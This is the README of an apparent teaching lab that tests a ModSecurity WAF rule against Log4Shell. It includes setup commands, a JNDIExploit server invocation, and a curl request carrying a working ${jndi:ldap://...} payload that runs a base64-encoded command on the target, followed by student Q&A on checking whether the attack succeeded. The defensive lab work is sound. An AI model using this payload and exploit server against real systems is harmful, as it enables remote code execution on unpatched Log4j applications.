ModSec-log4j2

Testing the ModSec rule

Prerequisites

• Have docker installed
• Have Java installed on your machine

Running the test

• Perform a git clone of the repository
• Execute the command below to start the WAF (ModSec) and the vulnerable application

docker stack deploy -c docker-compose.yml WAF

• Extract the JNDIExploit.v1.2.zip that is in the repository, enter the folder and execute the command below, where $IP should be your machine's IP, I do not recommend using 127.0.0.1

java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888

• To test the RCE, execute the curl below replacing $IP with your machine's IP, it will create a file named pwned inside /tmp of the vulnerable application

curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Students' questions

1- How do I know if my WAF and vulnerable web application started?

Execute docker service ls, and check if there are two services each with one replica.

2- How to get modsec logs?

Execute docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log

3- How to verify if the RCE didn't work?

The curl we used creates a file named pwned inside tmp, so we need to execute docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp